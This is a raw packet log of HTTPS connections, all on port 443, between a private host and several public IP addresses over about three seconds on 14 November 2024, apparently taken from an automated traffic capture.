Nov 14, 2024 17:24:50.921560049 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921572924 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921576023 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.925049067 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925060987 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.925085068 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925121069 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.925141096 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925177097 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925338984 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925354958 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.925472975 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.925487995 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.931083918 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.931219101 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.931333065 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.931366920 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.931463003 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.931463003 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.931478024 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.931484938 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.934572935 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.934595108 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.934670925 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.934848070 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.934874058 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.105335951 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.105926037 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.105942011 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.106324911 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.106427908 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.106431961 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.106662989 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.106743097 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.106977940 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.106995106 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235455036 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235527039 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235609055 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.235646009 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235677004 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235878944 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.235928059 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.235960007 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.235960007 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.235980988 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.236001968 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.239057064 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.239094973 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.239434958 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.239645004 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.239653111 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.328110933 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.328295946 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.328377008 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.328530073 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.328540087 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.328551054 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.328555107 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.331768036 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.331801891 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.331916094 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.332096100 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.332112074 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.475071907 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:51.475167990 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:51.475579023 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:51.475785971 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:51.475811958 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:51.486057043 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.486108065 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.486248970 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.486593008 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.486605883 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.681169033 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:51.694850922 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.701268911 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.708370924 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.727250099 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:51.727271080 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:51.728812933 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:51.728921890 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:51.739130020 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.751569033 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.758044004 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.963485003 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:51.963715076 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:51.965818882 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.965867043 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.966310024 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.966317892 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.970912933 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.970944881 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.971695900 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.971702099 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.972397089 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.972474098 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:51.972868919 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:51.972892046 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.007091045 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:52.007154942 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:52.014358997 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.015132904 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.015168905 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.015850067 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.015856981 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.052604914 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:52.116214991 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.116275072 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.116336107 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.116362095 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.116400003 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.116575003 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.116604090 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.116614103 CET	49916	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.116621017 CET	443	49916	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.117103100 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.117707968 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:52.117741108 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:52.117796898 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:52.118309021 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.118371010 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.118627071 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.118628025 CET	49917	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.118676901 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.118716002 CET	443	49917	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.119077921 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:52.119096041 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:52.121591091 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121598959 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.121655941 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121675968 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121711969 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.121761084 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121855021 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121865034 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.121913910 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.121928930 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.127479076 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.127939939 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.127984047 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.128500938 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.128514051 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.132049084 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.132111073 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.132154942 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.132430077 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.132447004 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.132462025 CET	49915	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.132468939 CET	443	49915	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.135631084 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.135658026 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.135720968 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.135869026 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.135878086 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148560047 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148598909 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148644924 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.148663044 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148677111 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148725033 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.148811102 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.148819923 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.148829937 CET	49918	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.148833990 CET	443	49918	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.159997940 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.160027981 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.160083055 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.161036968 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.161051989 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.247193098 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.247464895 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.247530937 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.248426914 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.248495102 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.250478983 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.250541925 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.251025915 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.251046896 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.259881973 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.259941101 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.260013103 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.260082960 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.260267019 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.260267019 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.260313988 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.260761976 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.260850906 CET	443	49919	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.260912895 CET	49919	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.263493061 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.263562918 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.263636112 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.263992071 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.264024019 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.297900915 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.353436947 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.353683949 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.353704929 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.355343103 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.355406046 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.356539965 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.356626987 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.356836081 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.356843948 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.399043083 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.498225927 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498256922 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498266935 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498301983 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498337030 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498366117 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.498366117 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.498366117 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.498439074 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.498523951 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.498523951 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.616208076 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.616230965 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.616261005 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.616302967 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.616377115 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.616416931 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.617034912 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617078066 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617108107 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617120028 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617131948 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.617137909 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617167950 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.617182970 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.617182970 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.617212057 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.670574903 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.739212036 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.739234924 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.739293098 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.739334106 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.739384890 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.740071058 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740098000 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740148067 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.740195036 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740227938 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.740252018 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.740710974 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740765095 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.740782022 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740803957 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.740830898 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.740854979 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.741374016 CET	49921	443	192.168.2.6	13.107.246.42
Nov 14, 2024 17:24:52.741405010 CET	443	49921	13.107.246.42	192.168.2.6
Nov 14, 2024 17:24:52.773207903 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.773242950 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.773308039 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.773526907 CET	49931	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.773540974 CET	443	49931	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.854414940 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.854445934 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.854482889 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.854517937 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.854536057 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.854556084 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.874008894 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.874823093 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.874845028 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.876108885 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.876116037 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.910165071 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.910757065 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.910775900 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.911272049 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.911278963 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.913223982 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.913516998 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.913543940 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.914165020 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.914176941 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.914715052 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.915060997 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.915077925 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.915446043 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.915450096 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.973402023 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.973434925 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.973476887 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.973494053 CET	443	49922	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.973531008 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.973550081 CET	49922	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.996629000 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.997788906 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.997881889 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:52.998159885 CET	49928	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:52.998176098 CET	443	49928	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.004225016 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.004300117 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.004801989 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.004852057 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.004894972 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.004906893 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.004944086 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.004986048 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.005081892 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.005101919 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.005114079 CET	49924	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.005120993 CET	443	49924	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.009110928 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.009116888 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.009535074 CET	443	49923	184.28.90.27	192.168.2.6
Nov 14, 2024 17:24:53.010085106 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.010145903 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.010210991 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.010345936 CET	49932	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.010356903 CET	443	49932	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.042951107 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.042984009 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.043025017 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.043025970 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.043070078 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.043297052 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.043406963 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.043451071 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.044665098 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.044665098 CET	49926	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.044680119 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.044691086 CET	443	49926	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.045742035 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.045768023 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.045779943 CET	49927	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.045784950 CET	443	49927	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.047039032 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.047205925 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.047267914 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.049288988 CET	49923	443	192.168.2.6	184.28.90.27
Nov 14, 2024 17:24:53.057851076 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.057873964 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.057884932 CET	49925	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.057889938 CET	443	49925	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:53.078330994 CET	49933	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:53.078425884 CET	443	49933	13.107.246.45	192.168.2.6
